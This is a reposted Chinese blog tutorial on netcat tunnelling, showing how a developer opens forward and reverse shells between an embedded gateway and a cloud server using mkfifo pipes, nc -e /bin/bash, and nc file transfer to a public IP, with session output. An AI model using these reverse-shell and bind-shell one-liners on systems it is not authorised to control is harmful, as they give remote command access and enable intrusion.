nc隧道技术

nc隧道技术使用场景 客户端 嵌入式 Linux 网关服务器 阿里云服务器 1 正向 shell 客户端连接服务器 获取服务器的 shell 服务器 root VM 0 14 centos mkfifo tmp fifo root VM 0 14 centos cat tmp fifo bin bash i2 gt amp 1 nc l10000 gt tmp

[root@VM_0_14_centos ~]# mkfifo /tmp/fifo [root@VM_0_14_centos ~]# cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 10000 > /tmp/fifo 

客户端:

root@Shuncom:/tmp# nc 211.159.189.50 10000 [root@VM_0_14_centos ~]# ls ls data dead.letter project raspberry-project shuncom SZ-City4-0907 tmp You have new mail in /var/spool/mail/root [root@VM_0_14_centos ~]# 
[root@VM_0_14_centos ~]# nc -l 10000 

客户端:

root@Shuncom:/tmp# mkfifo fifo root@Shuncom:/tmp# cat /tmp/fifo | /bin/sh -i 2>&1 | nc 211.159.189.50 10000 > /tmp/fifo 

此时会在服务器得到客户端的shell

[root@VM_0_14_centos ~]# nc -l 10000 BusyBox v1.23.2 (2018-10-19 13:23:37 CST) built-in shell (ash) @Shuncom:/tmp# ls TZ dhcp.leases dnsmasq.d etc eth0 fifo gcom.5859.11..core hosts lib lock log opkg-lists overlay reboot_boad resolv.conf resolv.conf.auto run shm state sysinfo test.sh time_ok timeerror.log tmpnet usr @Shuncom:/tmp# 

项目中服务器可以通过业务协议向网关发送一条消息,网关去连接指定的服务器IP和Port,就建立了通道,在服务端就可以远程操作网关,查看网关信息。

[root@VM_0_14_centos tmp]# nc -l 9995 > a.sh 

客户端

root@Shuncom:/tmp# nc 211.159.189.50 9995 < test.sh 

即可在服务器得到文件

[root@VM_0_14_centos tmp]# ls a.sh 
[centli@VM_0_14_centos ~]$ nc -l 1337 -e /bin/bash 

客户端:

summer@summer-virtual-machine:~$ nc 211.159.189.50 1337 ls project webFileLoad 
[centli@VM_0_14_centos ~]$ nc -l 1337 

客户端:

liyongjun@liyongjun-VirtualBox:~$ nc.traditional 211.159.189.50 1337 -e /bin/bash 

服务端就可以发送shell指令了:

[centli@VM_0_14_centos ~]$ nc -l 1337 ls download esp-idf.tar.gz examples.desktop go mini6410 mygo OpenWrt project ubuntu-16.04 公共的 模板 视频 图片 文档 下载 音乐 桌面 
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/219908.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月17日 下午9:36
下一篇 2026年3月17日 下午9:37


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号